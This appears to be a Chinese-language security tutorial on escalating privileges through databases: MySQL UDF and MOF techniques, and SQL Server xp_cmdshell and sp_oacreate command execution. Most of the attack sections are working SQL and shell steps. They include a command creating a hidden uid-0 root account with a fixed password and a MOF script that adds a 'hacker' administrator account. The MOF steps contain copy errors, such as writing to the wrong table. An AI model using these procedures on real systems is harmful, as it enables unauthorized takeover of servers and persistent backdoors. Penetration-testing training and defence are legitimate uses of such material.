数据库提权
mysql提权
MySQL是最流行的开放源码SQL数据库管理系统,相对于Oracle,DB2等大型数据库系统,MySQL由于其开源性、易用性、稳定性等特点,受到个人使用者、中小型企业甚至一些大型企业的广泛欢迎,MySQL具有以下特点:
1、MySQL是一种关联数据库管理系统,具有灵活性。
2、MySQL软件是一种开放源码软件。
3、MySQL数据库服务器具有快速、可靠和易于使用的特点。
4、MySQL服务器工作在客户端/服务器模式下,或嵌入式系统中。
5、MySQL有大量可用的共享MySQL软件。
MySQL安装
1 2 3 4 5
| https://www.cnblogs.com/tony-hyn/p/15777762.html 安装教程 sudo yum install mysql-devel -y 安装mysql.h文件 systemctl start mysqld 启动 mysqld --user=root root启动 setenforce 0
|
MySQL内置函数
MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便
UDF介绍与提权原理
MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种**使用者自行添加的MySQL函数就称为UDF(User Define Function)**。UDF机制能够起作用,必须使用C或者C++编写函数,你的系统必须支持动态加载,,mysql采用动态链接库加载自定义函数。
udf就是为了让我们开发者能够自己写方便自己函数,它有3种返回值,这三种分别是STRING,INTEGER,REAL
1 2 3
| STRING 字符型 INTEGER 整型 REAL 实数型
|
如下面的代码:
1 2 3 4 5 6 7 8 9 10 11
| #include <mysql.h> extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { int a = *((long long *)args->args[0]); int b = *((long long *)args->args[1]); return a + b; } extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return 0; }
|
提权原理:本质上使用UDF去执行系统的命令
提权权限:mysql的服务端是由谁运行,就可以提权到该用户
UDF编写详解
用户主函数
我们假设需要定义的函数名字为为xxx, 则我们的函数需要有参数列表和返回值, 这不能由用户随意指定, 是有固定规则的
返回值是STRING 类型或DECIMAL类型
1
| char *xxx(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);
|
返回值是INTEGER类型
1
| long long xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);
|
返回值是REAL类型
1
| double xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);
|
系统内置函数
在完成了用户定义的主函数以后, 还需要编写配套的系统内置函数
xxx_init函数
这个函数会在自定义的xxx函数调用前被调用, 进行基本的初始化工作, 其完整定义如下,该函数的主要功能一般是分配空间, 函数参数检查的等. 如果不需要做任何操作, 直接返回0即可.
1
| my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
|
返回值: 1代表出错, 可以在message中给出错误信息并且返回给客户端, 0表示正确执行
xxx_deinit
该函数用于释放申请的空间, 其完整定义如下,该函数的功能主要是释放资源, 如果在xxx_init中申请了内存, 可以在此处释放, 该函数在用户函数xxx执行以后执行
1
| void xxx_deinit(UDF_INIT *initid);
|
执行流程
调用xxx_init来初始化, 并申请内存空间用于存储结果
调用xxx
调用xxx_deinit释放空间
运行自己的UDF
编写C/C++代码
1 2 3 4 5 6 7 8 9 10 11 12
| #include <mysql.h> extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { int a = *((long long *)args->args[0]); int b = *((long long *)args->args[1]); return a + b; } extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return 0; }
|
生成动态链接库
动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 文件中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。DLL 还有助于共享数据和资源。多个应用程序可同时访问内存中单个 DLL 副本的内容。windows是dll文件,linux是so文件
windows使用
linux
1
| g++ -shared -fPIC -I /usr/include/mysql -o udf.so udf.cpp
|
上传到目标机器
1 2 3
| 1、mysql<5.0,路径随意 3、5.0<=MYsql<5.1, 放置系统目录(system32) 2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)
|
创建函数
函数名字必须和源码中一样
1
| create function 函数名 returns string soname "udf.dll";
|
查询是否导入成功
1
| select * from mysql.func
|
执行函数
提权准备和条件
1.连接mysql
连接mysql的方式很多,比如拿到了webshell,或者通过暴力破解的方式,udf提权第一步就是先连接mysql
2.查询运行权限
为什么要查询运行权限呢?因为我们udf本质上不是提权,是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话就无法执行。
1
| select users(); 错误的,这是登录mysql的账号用户
|
**tip:**在linux下5.7之后的版本,默认运行mysql的是mysql用户
3.查询软件版本
为什么要查询版本呢?因为不同版本的动态链接文件导入的地方不同
4.查询系统位数
为什么要查询系统位数呢?不同的系统和位数有不同的动态连接文件
5.查询读写权限
为什么要查询读写权限呢?因为我们要将动态连接文件导入到相应的目录里
1
| show global variables like 'secure%';
|
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限,一般三种情况
1 2 3 4
| show global variables like 'secure%'; 查询 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
|
如果想要更改就要改my.cnf文件中配置 secure_file_priv=''
6.查看plugin目录位置
为什么要查询plugin?因为我们要将动态连接文件导入到此目录
7.生成动态连接文件
不用我们生成了,在sqlmap中已经存在,或者msf中也存在,我们只需要用就行了,不需要在去写源代码。
存在位置为,其中分为windows 和linux 版本 分别有32位和64位
1 2
| sqlmap/data/udf/mysql metasploit-framework/data/exploits/mysql/
|
sqlmap
sqlmap中的是通过加密的,需要用解密脚本解密,解密脚本在 /sqlmap/extra/cloak/cloak.py
用法如下:
1
| python cloak.py -d -i lib_mysqludf_sys.so_(sqlmap中的加密动态连接文件)
|
MSF

提权步骤
1.建表
创建一张临时表用来存放DLL/OS文件的16进制内容
1
| CREATE TABLE temp_udf (udf blob);
|
2.插入
其中 binaryCode为已经转换好的十六进制内容,binaryCode前加0X
1
| INSERT into temp_udf values (CONVERT($binaryCode,CHAR));
|
转化成16进制方法很多,借助mysql
1
| select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'
|
3.导出
选择对应的地方进行导出
1
| SELECT udf FROM temp_udf INTO DUMPFILE "/usr/lib64/mysql/plugin/udf.os"
|
4.创建函数
1
| create function sys_eval returns string soname 'udf.os';
|
5.执行
1
| select sys_eval("whoami");
|
6.创建后门
1
| select sys_eval("useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test")
|

MOF提权
MOF介绍
mof是windows系统的一个“托管对象格式”文件(位置:c:/windows/system32/wbem/mof/),其作用是每隔五秒就会去监控进程创建和死亡,mof目录下有两个文件夹(good与bad)。
windows server 2003及以下系统每5秒会执行一次mof目录下的文件,执行成功会移动到good文件夹,执行失败移动到bad文件夹。
MOF提权原理
mof提权其实就是利用mysql 写入mof文件,通过mof文件中的vbs脚本以system权限执行系统命令
使用条件如下:
1、mysql是高权限运行
2、mysql需要具有导入导出功能
3、只能用于2003以下的系统(2003以上的系统不在使用该目录)
提权脚本如下:执行一段vbs语言,执行系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; };instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
|
MOF提权步骤
和UDF提权一样,将文件转成二进制然后利用导出函数,导出到对应的目录,然后等待提权即可
1.创建一个表格
1
| CREATE TABLE temp_mof (mof blob);
|
2.将二进制数据插入到表格中
1
| INSERT into temp_udf values (CONVERT($binaryCode,CHAR));
|
如何将我们的文件导出成二进制问价呢?
1
| select hex(load_file('C:/mof.dll')) into dumpfile 'c:/mof.txt'
|
3.导出到目标目录下
1
| SELECT udf FROM temp_udf INTO DUMPFILE "c:/windows/system32/wbem/mof/wanli.mof"
|
4.等待片刻后提权成功
sqlServer提权
SQL Server介绍
SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。
SQL Server安装
1、sqlserver需要 framework支持先安装这个

2、选择sqlserver的安装包进行安装


3、运行iso文件弹出安装界面,选择安装全新的sqlserver

4、一直点击下一步行安装,全部勾选选择安装

4、选择服务启动类型和账户名

5、添加sa账户的密码和执行管理员

6、一直点击下一步知道安装页面

8、完成后如下
xp_cmdshell提权(前提:sqlserver登录的权限比较高)
xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
1、获取xp_cmdshell的状态如果为1就是有该组件
1
| select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
|

2、开启xp_cmdshell组件
开启:
1
| EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
|
关闭:
1
| EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
|

3、执行命令
1
| exec master..xp_cmdshell 'ipconfig'
|

sp_oacreate+sp_oamethod(dba权限)
在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql)。sp_oacreate 是一个存储过程,可以删除、复制、移动文件。还能配合 sp_oamethod 来写文件执行系统命令
1、判断sp_oacreate是否存在,返回1证明存在sp_oacreate
1
| select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
|

2、开启相关的配置
1 2
| exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'ole automation procedures',1;reconfigure;
|

3、直接执行命令成功
1 2 3 4 5 6
| declare @shell int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str;
|
